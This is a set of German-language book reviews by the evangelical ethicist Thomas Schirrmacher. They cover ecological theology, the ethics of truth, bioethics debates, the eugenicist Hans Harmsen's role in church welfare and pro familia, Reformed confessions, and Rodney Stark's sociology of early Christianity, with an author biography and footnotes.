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Theologie

Buchrezensionen (2002/3)

Prof. Dr. theol. Dr. phil. Thomas Schirrmacher · 
01.01.2002

Hans Halter, Wilfried Lochbühler. Ökologische Theologie und Ethik. 2 Bände. 320 und 210 S. Verlag Styria: Graz/Wien/Köln, 2000. je 54.00 DM

Diese zwei Bände wollen nennenswerte Texte aus Vergangenheit und Gegenwart zusammenstellen, die sich aus theologischer oder ethischer Sicht mit der internationalen Umweltproblematik beschäftigen. Damit ist von vorneherein klar, daß die Bände keine bestimmte Sicht protegieren, sondern alle Stimmen von Gewicht zu Wort kommen lassen. Das Ziel ist aber eindeutig, nämlich die Ökologie nicht anderen zu überlassen, sondern als herausragendes Thema der christlichen Ethik zu begreifen.

Ob es also die klassischen Texte sind, die dem Christentum die Schuld an der Umweltkatastrophe geben (z. B. Lynne White, Eugen Drewermann), ob es ältere theologische Vordenker sind (z. B. Franz von Baader 1765-1841, Fritz Blanke), ob es Evangelikale (z. B. Francis Schaeffer), katholische (z. B. Julius Kardinal Döpfner) oder säkulare Stimmen sind, ob sie die Umweltkatastrophe überzeichnen oder Teile davon für übertrieben halten, ob Naturvölker als Vorbild gepriesen werden (z. B. Drewermann) oder diese Sicht als Fiktion aufgewiesen wird (z. B. Thomas Bargatzky), alles findet sich hier mit einschlägigen Texten versammelt. Alle Texte sind gut ausgewählt und gegebenfalls gekürzt, mit guten kurzen Einleitungen versehen und aufeinander bezogen, so daß die beiden Bände gut als Arbeitsbuch zu gebrauchen sind und lange Literatursuche überflüssig machen.

Das Buch wird dadurch auch zum guten Ausgangspunkt wir eine evangelikale, d. h. von der Bibel ausgehende Aufarbeitung der Thematik – wie ich sie in meinem Buch „Drewermann und der Buddhismus“ (VTR: Nürnberg, 1999) begonnen habe. Denn wenn die ‚Umwelt‘ wirklich Gottes Schöpfung ist, können wir ihre Würde als Gottes Schöpfung ebenso wie ihr dem Gericht Ausgeliefertsein als gefallene Schöpfung nicht für uns behalten.

Eberhard Schockehoff. Zur Lüge verdammt? Politik, Medien, Medizin, Justiz, Wissenschaft und die Ethik der Wahrheit. Herder: Freiburg, 2000. 535 S. geb. 68.00 DM

Der katholische Ethiker Schockenhoff liefert hier sowohl eine detaillierte Geschichte des Wahrheits- und Lügeverständnisses in Theologie und Philosophie des Abendlandes, als auch eine Darstellung der aktuellen Diskussion in den verschiedenen Bereichen unserer Gesellschaft. Wenn er auch nicht die Heilige Schrift als letzte Norm versteht, sondern eher historisch-kritisch und vom katholischen Lehramt ausgehend vorgeht, sind auch seine Ausführungen zum Alten und Neuen Testament hochinteressant. Da es leider weder auf Englisch noch auf Deutsch eine ausführlichere evangelikale Darstellung zu Lüge und Wahrheit, geschweige denn über deren Aktualisierung in auch für Missionare wichtigen Bereichen wie Politik, Medien oder Kultur gibt, ist das Buch als Einstieg zu empfehlen, auch wenn es bisweilen sehr breit und technisch über die Geschichte bestimmter Begriffe und Sichtweisen referiert. Wahrheit ist gerade für Evangelikale ein Kernbegriff ihres biblischen Gottes- und Glaubensverständnisses. Deswegen können wir uns nicht einem nebulösen Empfinden für Wahrheit und Lüge überlassen, sondern müssen in unserer Ethik einer Welt, die vom Vater der Lüge regiert wird, begründet und deutlich verkündigen, was Wahrheit und was Lüge ist und wie sich dies auch in den komplizierten Situationen unserer Welt, etwa vor Gericht, am Kranken- und Sterbebett, im Nachrichtenwesen (also auch im Rundbrief des Missionars) oder im Umgang mit Gerüchten in unseren Gemeinden bewährt.

Albin Eser (Hg.). Biomedizin und Menschenrechte: Die Menschenrechtskonvention des Europarates zur Biomedizin. Josef Knecht: Frankfurt, 1999. 192 S. Dieser Band will bewußt keine Kontroverse über die sog. ‚Bioethikkonvention‘ (inzwischen ‚Menschenrechtskonvention des Europarates zur Biomedizin‘) des Europarates eröffnen, das kürzlich in Kraft trat, nachdem es genügend Länder ratifiziert hatten. Und das, obwohl die Kontroverse in Deutschland nach wie vor anhält und Deutschland die Konvention noch nicht einmal unterzeichnet, geschweige denn ratifiziert hat. So liegt der Schwerpunkt auf den Dokumenten, die hier tatsächlich gut greifbar werden, und auf Berichten von Juristen und hohen Beamten aus Ministerien der gegenwärtigen Regierung. Die angeblich neutrale Haltung bedeutet deswegen bei bisweilen verhaltenen Hinweisen auf die Problemfelder – etwa die Vorordnung der Wissenschaft vor die Menschenwürde, Forschung an nichteinwilligungsfähigen Personen, schwammige Formulierungen zur Embryonenforschung. Kein Kritiker der Konvention kommt zu Wort, obwohl diese in allen Parteien und Wissenschaftszweigen bis in die höchsten Positionen zu finden sind. Der katholische Priester und Bonner Philosophieprofessor listet die Bedenken wenigstens noch kurz auf, ist aber ansonsten wie immer ein Verfechter der modernen Bioethikbewegung und stellt sich als Direktor des Bonner Instituts für Wissenschaft und Ethik wieder einmal als moralisches Aushängeschild der modernen Wissenschaft gegen alle Bedenkenträger zur Verfügung. Auch das Plädoyer des Philosophieprofessors Christian Kummers für die Embryonenforschung bzw. die Sicht, daß Embryonen bis zur Einnistung keine Menschen seien, ist wahrhaftig keine neutrale Position, sondern eine klare Kampfansage an die Lebensrechtsbewegung. Es wäre ehrlicher gewesen, das Buch nicht als neutrale Information, sondern als Kampfschrift für die Bioethikkonvention zu verkaufen.

Ulrich Bach, Andreas de Kleine (Hg.). Auf dem Weg in die totale Medizin: Eine Handreichung zur ‚Bioethik‘-Debatte. Neukirchener Verlag: Neukirchen, 1999. 169 S. 29.80 DM 

Dieses Buch stellt Aufsätze führender evangelischer Kritiker der modernen Biethikbewegung zusammen, vor allem von Theologen und Ärzten. Außerdem werden entsprechende Dokumente kirchlicher Gruppen und Gremien abgedruckt. Erfreulich vehement ziehen sie gegen die Aufweichung des Euthanasieverbotes, gegen Embryonenforschung oder gegen die Bioethikkonvention zu Felde. Dabei werden Peter Singer und seine Schüler oder die Bundesärztekammer ebenso detailiert kritisiert, wie das Kirchenamt der EKD oder das ‚Gemeinsame Wort der Kirchen über Chancen und Risiken der voraussagenden Medizin‘, das völlig verschweigt, daß die pränatale Diagnostik heute weitgehend nicht der Heilung der Kinder im Mutterleib dient, sondern ihrer Tötung. Die Autoren des Bandes scheuen mehrfach den Vergleich zwischen der Eugenik des Dritten Reiches mit der modernen Bioethikbewegung nicht. Lediglich das Massentöten der Kinder im Mutterleib wird meines Erachtens zu wenig angesprochen und nicht in eine Linie mit Euthanasie und pränataler Eugenik gebracht. Ansonsten handelt es sich um eines der besten Bücher zum Thema, das viele Belege liefert und zum Weiterarbeiten anregt.

Wolfgang Kraus (Hg.). Bioethik und Menschenbild bei Juden und Christen. Neukirchener Verlag: Neukirchen, 1999. 194 S. 39.80 DM

In diesem Band werden Vorträge jüdischer und christlicher (besser – von einer Ausnahme abgesehen – evangelischer Autoren) bei einer Tagung zum Thema am Institut für Ev. Theologie in Koblenz zusammengestellt. Die Themen reichen von Gentechnik und Keimbahntherapie über Bioethikkonvention hin zu Organtransplantation, Euthanasie und Embryonenforschung. Die meisten Beiträge stehen der völligen Freigabe der bioethischen Forschung kritisch gegenüber. Peter Singer wird von vielen Autoren explizit angegriffen. Es werden sicher manch interessante neue Argument vorgebracht. Zugleich aber findet sich eine große Bandbreite der Meinungen, und die meisten Autoren, insbesondere die evangelischen Theologen, sind eifrig bemüht, sich nicht wirklich festzulegen und einen eindeutigen Standpunkt einzunehmen. Eine Kritik der gegenwärtigen Massentötung im Mutterleib etwa sucht man vergeblich, und ein echter Vertreter der Lebensrechtsbewegung kommt in dem Band nicht zu Wort. Dietmar Mieth etwa ist bemüht, die Orientierung am christlichen Menschenbild kritisch als konservative Ideologie zu entlarven und schreibt: „Es gibt keine unmittelbare normative Relevanz des christlichen Menschenbildes“ (S. 51), wobei er dies Menschenbild auch gar nicht beschreiben könnte. Wie will man aber auf so dünnem Eis stehend einer Flut begegnen, in der zunehmend der Fortschritt und Forschungseifer der Wissenschaft auch vor dem Töten von Menschen nicht mehr Halt macht? Meint man, mit wissenschaftlich verklausulierten Bedenken und der Angst, man könnte als Fundamentalist gelten, wirklich der Flut Einhalt gebieten zu können?

Der Eugeniker Hans Harmsen, Begründer von ‚pro familia‘

Sabine Schleiermacher. Sozialethik im Spannungsfeld von Sozial- und Rassenhygiene: Der Mediziner Hans Harmsen im Centralausschuß für die Innere Mission. Abhandlungen zur Geschichte der Medizin und der Naturwissenschaften 85. Matthiesen Verlag: Husum, 1999. 352 S. 104.00 DM 

Hans Ludwig Friedrich Harmsen (1899-1988)[1], Mitbegründer und von der Gründung 1952 bis 1967 Präsident von ‚pro familia‘, wurde schon lange vor dem Dritten Reich einer der führenden Eugeniker und Bekämpfer von ‚Minderwertigen‘ – übrigens zugleich Leitender Arzt des Gesundheitswesens der evangelischen Inneren Mission (heute: Diakonisches Werk).[2]
Bereits 1926 setzte er sich in seiner zweiten Doktorarbeit[3] für die Befreiung eines Volkes von schädlichen Erbmassen ein. Anschließend bekleidete Harmsen führende Ämter im kirchlichen Diakonie- und Krankenhauswesen. 1931 trat er für die „Notwendigkeit … eugenetischer Neuorientierung unserer Wohlfahrtspflege“[4] ein (Ob er bereits mit anderen Mitbegründern von ‚pro familia‘ für die eugenische Indikation, also Abtreibung bei Behinderungen, war[5], da die Volkskraft nicht für die Aufzucht Minderwertiger verschwendet werden dürfe,[6] ist strittig[7]. Er forderte immer deutlicher die Auslese erbkranker Menschen und stimmte deswegen – als Vertreter der kirchlichen Diakonie! – von vornherein dem nationalsozialistischen ‚Gesetz zur Verhütung erbkranken Nachwuchses‘ von 1933 mit Zwangssterilisation[8]von Behinderten und Geisteskranken zu, auch wenn er privat über die folgenden Zwangsabtreibungen und die Tötung von Behinderten und Geisteskranken nicht glücklich war. Harmsen war als Geschäftsführer des ‚Gesamtverbandes der deutschen Krankenanstalten‘ der führende evangelische Verteidiger dieser Gesetzgebung in zahlreichen Veröffentlichungen, so etwa einem kirchlichen Kommentar zum Erbgesundheitsgesetz[9]. Zugleich war er der Hauptverantwortliche für die praktische Durchführung dieses Gesetzes und anderer nationalsozialistischer Maßnahmen in evangelischen Krankenhäusern und -anstalten.[10] Das hat nach 1945 weder seiner Karriere geschadet, noch führte es zu einer Stellungnahme von kirchlicher Seite.[11]

Harmsen hat sich nach dem Krieg von seinem Einsatz für das Gesetz zur Verhütung erbkranken Nachwuchses nie distanziert und jede Erklärung verweigert.[12] Heidrun Kaupen-Haas hat gezeigt[13], daß Harmsen in den 50er Jahren weiterhin das ‚Gesetz zur Verhütung erbkranken Nachwuchses‘ von 1933 nicht für ein Nazigesetz hielt und in vielen Äußerungen Positionen von vor 1945 verteidigte. Dennoch wurde er bereits 1946 Professor und Direktor des Hygienischen Instituts in Hamburg, sammelte andere renommierte Rassenhygieniker der Zeit vor 1945 in wissenschaftlichen Vereinigungen und arbeitete als Gutachter für die Bundesregierung.[14] Angeblich erhielt ‚pro familia‘ erst 1984 Kenntnis von Harmsens Engagement im Dritten Reich[15] und drängte Harmsen zum Rücktritt von der Ehrenpräsidentschaft.[16] Das ist jedoch völlig unglaubwürdig, waren die Fakten doch lange bekannt, der Vorwurf, ‚pro familia‘ sei ebenso wie IPPF aus rassistischen Wurzeln erwachsen, schon alt und nicht zuletzt viele Hinweise schon in der Festschrift von ‚pro familia‘ zu Harmsens 80. Geburtstag[17] zu finden. Allerdings listen die Laudatio[18] ebenso wie weitere Artikel über Harmsen[19] zwar alle seine Schriften und Ämter im Dritten Reich auf, aber es findet sich keine einzige kritische oder entschuldigende Zeile. Sabine Schleiermacher legt mit ihrer medizinhistorischen Dissertation die erste ausführliche Arbeit zu Harmsen vor, die sich mit seinem Wirken im Rahmen der kirchlichen Diakonie bis 1938 beschäftigt. Gründlich beleuchtet sie die Entstehung der Eugenik – auch im kirchlichen Bereich – vor 1933 und die Rolle Harmsens bei der Umstellung der kirchlichen Diakonie auf eugenische Belange, insbesondere der Zwangsstrilisation Behinderter und anderer. Es bleibt zu wünschen, daß eine weitere Arbeit den Faden von 1938 aufnimmt und Harmsens weiteres Wirken im 2. Weltkrieg und als Professor für Bevölkerungswissenschaft nach 1945 aufarbeitet.

Bezeichnend und lehrreich ist das Buch für evangelische Christen, zeigt es doch auf, wie evangelische Theologen und Kirchenfunktionäre damals ebenso wie in den 60er Jahren in der Abtreibungsdebatte nicht nur dem Zeitgeist anheim fielen, sondern selbst zum Zeitgeist wurden, indem sie vorlaufend ethische Mauern einrissen, die schließlich zum Tod vieler Unschuldiger führten. „Mit der Integration von Eugenik und Rassenhygiene hatte der CA [= Centralausschuß für Innere Mission] bereits vor dem Nationalsozialismus eine Wende in der Wohlfahrtspflege vollzogen …“. Wundert es einen, daß derselbe Mann, der dafür wesentlich verantwortlich zum Hauptmotor für die Gründung von ‚pro familia‘ wurde, einer Organisation, die sich über die Unterstützung aus evangelischen Kreisen nie zu beklagen brauchte?

E. F. K. Müller (Hg.). Die Bekenntnisschriften der reformierten Kirche: In authentischen Texten mit geschichtlicher Einleitung und Register. Theologische Studien-Texte 5. 2 Bände. Verlag Hartmut Spenner: Waltrop, 1999 [Nachdruck von A.Deichert: Leipzig, 1903]. 1047 S. 98.00 DM

Eine der beiden umfassendsten Sammlungen reformierter Bekenntnisschriften, die ursprünglich einbändige Sammlung von E. F. K. Müller von 1903, liegt hiermit in einer handlichen, zweibändigen Paperbackausgabe vor. Das Schriftbild ist nur wenig verkleinert, da vor allem der breite Rand entfällt. Müller bietet die Texte in der jeweiligen Originalsprache der ursprünglichen amtlichen Ausgabe an, was für das Quellenstudium von Vorteil, bisweilen aber bedeutet, daß neben deutschen und englischen Texten auch französische und lateinische Texte zu finden sind und viele deutsche Texte in der Originalfassung nur schwer zu verstehen sind (z. B. Texte im Schweizerdeutsch des 16. Jh.). Das kann zu Problemen führen und schränkt den Benutzerkreis ein. Glücklicherweise findet sich das Westminster Bekenntnis von 1647 in einer lateinischen und einer englischen Fassung, denn die lateinische Fassung ist schon früh verständlicherweise fast völlig in Vergessenheit geraten und theologiegeschichtlich bedeutungslos geblieben. Der Große Katechismus von Westminster aber wird beispielsweise nur auf Latein wiedergegeben, da er damals der Pfarrerausbildung diente.

Während das Corpus der lutherischen Bekenntnisschriften zwar auch recht umfangreich ist, unterscheidet es sich doch tiefgreifend von einer Sammlung reformierter Bekenntnisschriften. Erstens ist der Corpus der Lutheraner seit 1577 mit der Konkordienformel abgeschlossen und wird unverändert überliefert und zweitens steht damit amtlich fest, welche Schriften in die lutherische Sammlung gehören und welche nicht. Demgegenüber haben die Reformierten regelmäßig und bis in die jüngste Vergangenheit neue Bekenntnisse verfaßt und keinem Bekenntnis. Dies gilt selbst für den weitverbreiteten Heidelberger Katechismus und den in mehreren Berarbeitungen vorliegenden Westminster Bekenntnis, denen es nicht gelungen ist, auch nur von der Mehrheit der reformierten Kirchen angenommen zu werden. Dabei reagierten die Reformierten auf neue theologische und gesellschaftliche Entwicklungen und bezogen die Situation des jeweiligen Landes ein.[20] Es ist bezeichnend, daß die Barmer Erklärung von 1934, die von reformierten, lutherischen und unierten Theologen verfaßt wurde, dennoch meist als reformierte Bekenntnisschrift läuft, da sie problemlos den reformierten Bekenntnisschriften hinzugefügt werden kann, nicht aber den lutherischen. Gerhard Besier schreibt dazu: „Allerdings unterscheidet sich das reformierte vom lutherischen Bekenntnisverständnis hinsichtlich der Reichweite und der Situation. Entsprechend ihrer Auffassung von Kirche, deren vorläufige Realisierung immer nur zeitlich und örtlich begrenzt geschieht, verstehen die Reformierten das Christusbekenntnis als Lehrerklärung einer Partikulargemeinde, dessen Formulierung zeitgebunden bleibt.“[21] Daß es keinen ausführlichen lutherischen Artikel zur Heiligen Schrift gibt, erklärt sich daraus, daß vor 1577 noch kein umfassender Streit entstanden war. Das Westminster Bekenntnis von 1647 geht dagegen ausführlich auf die Heilige Schrift ein, weil die Diskussion über die historische Glaubwürdigkeit der Schrift bereits eingesetzt hatte.

Während die lutherischen Bekenntnisschriften – entgegen allen guten Absichten – allzuoft doch der Heiligen Schrift gleichgeordnet wurden und zumindest als ebenso unantastbar galten, haben die reformierten Kirchen durch die ständig wechselnden Bekenntnisse gezeigt, daß Bekenntnisschriften einen großen praktischen Nutzen haben, aber der Veränderung unterliegen, wenn sie für jede Situation und jede Zeit wirklich bedeutungsvoll sein wollen.

Gerade das macht aber das Studium reformierter Bekenntnisschriften so interessant, kann man doch sehen, wie man aufgrund der weitgehend gleichbleibenden Grundüberzeugungen auf immer neue Herausforderungen reagiert hat. Gerade weil dem so ist, ist es erfreulich, daß Müller seinerzeit den Bogen sehr weit gespannt hat und sich nicht an einer bestimmten reformierten Richtung orientiert hat. So finden sich mehrere ‚vorcalvinische‘ Bekenntnisse ebenso, wie das Bekenntnis der Waldenser, die 39 Artikel der anglikanischen Kirche, die Bearbeitungen des Westminster Bekenntnisses, kongregationalistische Bekenntnisse oder das Bekenntnis der Genfer Freikirche von 1848. Auch viele meist übergangene lokale Bekenntnis aus Ungarn, Ostfriesland, Nassau oder Italien sind aufgenommen. Sie sind trotz ihrer unbedeutenden Wirkungsgeschichte inhaltlich ebenso des Studierens wert wie ihre bekannteren Verwandten.

Müller hat die Vorgeschichte und die frühen Ausgaben der einzelnen Bekenntnisse gründlich dargestellt, jedoch nicht vor dem jeweiligen Text, sondern in einer 70seitigen recht unübersichtlichen Einleitung zum Buch. Es war deswegen immer schon etwas mühsam, die passende Einleitung zu finden. Immerhin kann man jetzt für die Texte im zweiten Band Texte und Einleitung nebeneinanderlegen und -studieren. Zu guter letzt sei noch das ausgezeichnete Sachregister erwähnt, daß detailliert und übersichtlich alle Bekenntnisschriften thematisch aufschlüsselt.

Rodney Stark. Der Aufstieg des Christentums: Neue Erkenntnisse aus soziologischer Sicht. Beltz Athenäum: Weinheim, 1997. 291 S. geb. 68.00 DM

Selten war eine soziologische und eine auf die frühe Kirchengeschichte bezogene Studie so aufschlußreich für die Missionswissenschaft, wie diese 1996 an der Princeton University erschienene Studie „The Rise of Christianity“. Die Thesen Starks sorgen seitdem für viel Diskussionsstoff. Einige Thesen seien kurz genannt:

1. Das Christentum breitete sich in den ersten vier Jahrhunderten fast ausschließlich innerhalb des Freundes- und Bekanntenkreises entlang soziologischer Strukturen durch Einzelbekehrungen aus. Persönliche Beziehungen waren das Geheimnis des Erfolges der Christen.

2. Die ersten Christen waren größtenteils nicht arm, sondern stammten aus dem wohlhabenden Mittelstand, was auch die Finanzierung der Missionsarbeit sicherstellte.

3. Der entscheidende Faktor waren die Frauen, die dann oft anschließend ihre Männer für das Christentum gewannen. Sie bekehrten sich nicht nur häufiger, sondern waren auch unter den christlichen Kindern in der Überzahl, da Mädchen und Jungen bei Christen als gleichwertig galten, während die Heiden soviele Mädchen töteten, daß es statistisch einen enormen Männerüberhang gab.

4. Das Christentum wuchs in den ersten vier Jahrhunderten statistisch verhältnismäßig gleichmäßig, so daß die Suche nach außerordentlichen Wachstumsfaktoren zu bestimmten Zeiten überflüssig ist.

5. Ein wesentlicher Wachstumsfaktor war die höhere Kinderzahl der Christen, da diese gegen Abtreibung und Kindesaussetzung – namentlich von Mädchen – waren, was zudem Adoptionen einschloß, und intakte Familien hatten.

6. Ein weiterer wesentlicher Faktor war der soziale Einsatz von Christen zu Zeiten von Seuchen, der mehr Christen überleben ließ als Heiden und viele Heiden zu Christen werden ließ. Konstantin machte das Christentum zur Staatsreligion, da dieses sich durch Bekehrungen schon soweit ausgebreitet hatte, daß ihm gar nichts anderes übrigblieb, um das römische Reich zu retten.

7. Das Christentum wuchs nach Konstantin nicht schneller als vorher, so daß die Sicht, nach Konstantin seien die Massen in die Kirchen geströmt, weil sie sich irdische Vorteile erhofften, falsch ist.

Sicher bezieht Stark seine soziologischen Kenntnisse, wie religiöse Gruppen heute wachsen, die er dann als Modell an die ersten drei Jahrhunderte der Kirchengeschichte heranträgt und überprüft, von überall her, etwa von den Mormonen, hinduistischen Sekten und anderen religiösen Gruppen. Auch ist Stark die Frage, ob die Ausbreitung des Christentums ein Glück oder ein Unglück für das römische Reich war, gleichgültig. Auch mag man Stark manchmal widersprechen, wenn er das Neue Testament auslegt. Und überhaupt nimmt Stark auf die religiösen Gefühle von überzeugten Christen wenig Rücksicht. Und trotzdem fühlt man sich zum Teil in eine moderne missiologische Debatte unter Evangelikalen versetzt, etwa wenn es um die Frage geht, welche Rolle medizinische oder sozialethische Arbeit (z. B. im Einsatz gegen die Abtreibung oder das Kastenwesen) in der Mission spielt oder wenn darauf hingewiesen wird, daß Großevangelisationen wie ProChrist nur erfolgreich sind, wenn Christen ihre Verwandten, Freunde und Nachbarn einladen. Das Buch von Stark zeigt, daß viele der heute diskutierten Fragen zur Mission auch schon die frühe Kirchengeschichte bestimmt haben und daß manches von uns mühsam immer wieder neu entdecktes ‚Geheimnis‘ der Evangelisation schon zu Beginn der Christenheit die entscheidende Rolle gespielt hat.

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Prof. Dr. Dr. Dr. Dr. h. c. Thomas Paul Schirrmacher, Jahrgang 1960, 1978-82 Stud. Theol. STH Basel, 1982 Mag. theol., 1985-91 Stud. Vergleichende Religionswiss., Völkerkunde u. Volkskunde an d. Univ. Bonn, 1984 Drs. theol. Theol. Hogeschool Kampen/NL, 1985 Dr. theol. Johannes Calvijn Stichting Theolog. 

Hogeschool Kampen/NL, 1989 Ph. D. (Dr. phil.) in Kulturalanthropologie Pacific Western Univ. Los Angeles, 1996 Th. D. (Dr. theol.) in Ethik Whitefield Theological Seminary Lakeland, 1997 D.D. (Dr. h.c. ) Cranmer Theological House Shreveport. 1983-90 Doz. Missionswiss. u. Vergleichende Religionswiss. FTA Gießen, 1984-89 Doz. f. Altes Testament u. Sozialethik Bibelseminar Wuppertal, seit 1993 Doz. Sozialethik u. Apologetik Bibelseminar Bonn, seit 1984 Gen.-Dir. d. IWGeV, seit 1985 Chefhrsg. d. Verlag f. Kultur u. Wiss., zusätzl. seit 1987 Inh., seit 1986 Präs. u. wiss. Koordinator Theological Education by Distance Deutschland (TFU) Altenkirchen, 1991-96 Lehrstuhl Missionswiss. u. Vergleichende Religionswiss. STH Basel, zusätzl. 1995-96 Lehrstuhl f. Ethik, 1991-96 Lehrstuhl f. postgraduate studies in Missionswiss. u. Vergleichende Religionswiss. FST Genf, zusätzl. 1995-96 Lehrstuhl f. Ethik, seit 1994 Prof. f. Missionswiss. Philadelphia Theological Seminary Philadelphia, seit 1996 Prof. f. Ethik Cranmer Theological House Shreveport, seit 1996 Rektor u. Prof. f. Ethik Martin Bucer Seminar Bonn, seit 1996 Prof. f. Theology u. Dir. d. dt. Zweiges Whitefield Theological Seminary, seit 1996 Rektor d. Martin Bucer Seminar Bonn. P.: 29 Bücher, darunter „Ethik“ (1993), zahlr. wiss. Artikel in dt., engl., niederländischer u. russischer Sprache, Chefredakteur Bibel u. Gem. 1988-97, Chefredakteur „Querschnitte“ 1988-92, Mithrsg. seit 1992, Hrsg. seit 1997, seit 1994 Mithrsg. Intern. Review for Reformed Missiology NL, seit 1992 Europ. Hrsg. Contra Mundum: a Reformed Cultural Review (USA), 1992-96 Redaktion Evangelikale Missiologie, seit 1996 Chefredakteur Evangelikale Missiologie, Hrsg. v. Buchreihen, alleinger Hrsg. v. 3 Buchreihen, Chefredakteur v. 3 Buchreihen, Mithrsg. v. 6 Buchreihen. E.: 1997 Dr. h.c. Cranmer Theological House Shreveport, berufenes wiss. Mtgl. Dt. Ges. f. Missionswiss. M.: AfeM, 1985-87 Kurdisches Inst., seit 1988 Chefredakteur Bibelbund Reiskirchen, 1994-97 Präs. d. Inst. f. Islam u. Christentum Bruchsal, 1993-96 Präs. PBC Bonner Bez., seit 1987 Sprecher ISM Deutschland, seit 1992 Sprecher Ev. Allianz Bonn, seit 1996 Präs. Aktion christl. Ges. Bonn. H.: Intern. Zoos, klass. Musik (Bach b. Tschaikowsky), klass. Krimis 

Fußnoten

[1] Vgl. kritisch zu Harmsen Heidrun Kaupen-Haas. „Eine deutsche Biographie – der Bevölkerungspolitiker Hans Harmsen“. S. 41-44+201-202 in: Angelika Ebbinghaus u. a. (Hg.) Heilen und Vernichten im Mustergau Hamburg: Bevölkerungs- und Gesundheitspolitik im Dritten Reich. Konkret Literatur Verlag: Hamburg, 1984; Sabine Schleiermacher. „Hans Harmsens hierarchisches Gesellschaftsmodell: Auszüge einer sozialdarwinistischen Familienpolitik“. pro familia magazin 1/1990: 28-29 und Thomas Friedl. pro familia? Eine Dokumentation. Junge Union Deutschlands, Landesverband Rheinland-Pfalz. Mainz, o. J. (ca. 1990/91). S. 8-14 (mit Abbildungen) und Sabine Schleiermacher. Sozialethik im Spannungsfeld von Sozial- und Rassenhygiene: Der Mediziner Hans Harmsen im Centralausschuß für die Innere Mission. Abhandlungen zur Geschichte der Medizin und der Naturwissenschaften 85. Matthiesen Verlag: Husum, 1999.

[2] Thomas Friedl. pro familia? a. a. O. S. 8

[3] Hans Harmsen. Bevölkerungsprobleme Frankreichs unter Berücksichtigung des Geburtenrückgangs als entscheidender Wirtschaftsfaktor. Diss.: Univ. Marburg, 1926; Hans Harmsen. Bevölkerungsprobleme Frankreichs unter Berücksichtigung des Geburtenrückgangs. Kurt Vowickel Verlag: Berlin, 1927; vgl. zu dieser und zur ersten Doktorarbeit von 1924 Heidrun Kaupen-Haas. „Eine deutsche Biographie – der Bevölkerungspolitiker Hans Harmsen“. a. a. O. S. 41

[4] Hans Harmsen. Praktische Bevölkerungspolitik: Ein Abriß ihrer Grundlagen, Ziele und Aufgaben. Fachschriften zur Politik und staatsbürgerlichen Erziehung. Junker und Dünnhaupt: Berlin, 1931. S. 79

[6] Thomas Friedl. pro familia? a. a. O. S. 9

[7] Vgl. zur Abtreibung bei Fremdrassigen und Behinderten im Dritten Reich Michaela Garn. „Zwangsabtreibung und Abtreibungsverbot“. S. 37-40+201 in: Angelika Ebbinghaus u. a. (Hg.) Heilen und Vernichten im Mustergau Hamburg: Bevölkerungs- und Gesundheitspolitik im Dritten Reich. Konkret Literatur Verlag: Hamburg, 1984

[8] In Hans Harmsen. Praktische Bevölkerungspolitik. a. a. O. S. 33-36+87-88 spricht er sich nämlich dagegen aus: „Die Achtung vor dem Schöpfungsgebot aber verbietet uns die Vernichtung eines möglicherweise erbbelasteten Kindes ebenso wie die Vernichtung lebensunwerten Lebens.“ (S. 87).

[8] Bereits 1931 zitiert er den Gesetzesentwurf der NSDAP vom 12.3.1930 zur Rassenvermischung („Gesetz zum Schutz des Volkes“) in Hans Harmsen. Praktische Bevölkerungspolitik. a. a. O. S. 38-39 ohne Kommentar. Weitere Literatur von Hamsen vor 1932 findet sich in ebd. S. 94. In ebd. S. 32 fordert Harmsen ein Gesetz nach dem jedes Elternpaar drei Kinder bekommen muß. Wenn „unerhebliche Minderwertigkeit der Nachkommen“ zu erwarten sind, dürfen nicht mehr Kinder gezeugt werden, jedes wertvolle Ehepaar darf jedoch mehr Kinder haben.

[9] Hans Ludwig Friedrich Harmsen. Wichtige Entscheidungen zur Durchführung des Gesetzes zur Verhütung erbkranken Nachwuchses. Schriftenreihe des Evangelischen Gesundheitsdienstes 6 (hg. von Hans Harmsen). Verlag Dienst am Leben: Berlin-Grunewald, 1936; Hans Harmsen (Hg.). Das Gesetz zur Verhütung erbkranken Nachwuchses. Schriftenreihe des Evangelischen Gesundheitesdienstes. Dienst am Leben – Beiheft 3. Verlag Dienst am Leben: Berlin-Grunewald, 1935; vgl. Hans Harmsen. „Die Bedeutung der erblichen Krüppelleiden in der Volksgesundheitspflege.“ Gesundheitsfürsorge 8 (1936): 203-208, auch als Sonderdruck: Schriftenreihe des Evangelischen Gesundheitesdienstes 4. Verlag Dienst am Leben: Berlin-Grunewald, 1936. S. 208 empfiehlt Harmsen sogar, in die Unruchtbarmachung von Krüppeln bestimmte Fälle einzubeziehen, die das Gesetz nicht abdeckt.

[10] Vgl. Hans Harmsen (Hg.). Das Gesetz zur Verhütung erbkranken Nachwuchses. a. a. O. S. 64-68 („Mitteilingen der Auskunftsstelle des Central-Ausschusses für Innere Mission“), Stellungnahme vom 13.7.1934 vom „Ständige[n] Ausschuß für Fragen der Rassenhygiene und Rassenpflege“. Darin heißt es S. 64: „… haben sich alle Stellen der I. M. nachdrücklichst für die Durchführung des Gesetzes zur Verhütung erbkranken Nachwuchses vom 14. Juli 1933 einzusetzen und alle erlassenen Anordnungen und Vorschriften genauestens zu befolgen.“

[11] Am detailliertesten dargestellt in Heidrun Kaupen-Haas. „Eine deutsche Biographie – der Bevölkerungspolitiker Hans Harmsen“. a. a. O. S. 41-42

[12] So einstimmig Vertreter von pro familia, z. B. Sabine Schleiermacher. „Hans Harmsens hierarchisches Gesellschaftsmodell“. a. a. O. S. 28, und Gegner, z. B. Thomas Friedl. pro familia? a. a. O. S. 10

[13] Heidrun Kaupen-Haas. „Eine deutsche Biographie – der Bevölkerungspolitiker Hans Harmsen“. a. a. O. S. 44

[14] Vgl. ebd. S. 44

[15] Vermutlich durch den Beitrag Heidrun Kaupen-Haas. „Eine deutsche Biographie – der Bevölkerungspolitiker Hans Harmsen“. a. a. O.; vgl. Sabine Schleiermacher. „Hans Harmsens hierarchisches Gesellschaftsmodell“. a. a. O. S. 28

[16] Vgl. ebd. und Thomas Friedl. pro familia? a. a. O. S. 12

[17] Hermann Schubnell (Hg.). Alte und neue Themen der Bevölkerungswissenschaft: Festschrift für Hans Harmsen. Schriftenreihe des Bundesinstituts für Bevölkerungsforschung 10. Boldt-Verlag: Boppard am Rhein, 1981 (Harmsen war allerdings schon 1979 80 Jahre alt geworden)

[18] Sabine Rupp, Karl Schwarz. „Laudatio“. S. 9-10 in: ebd.

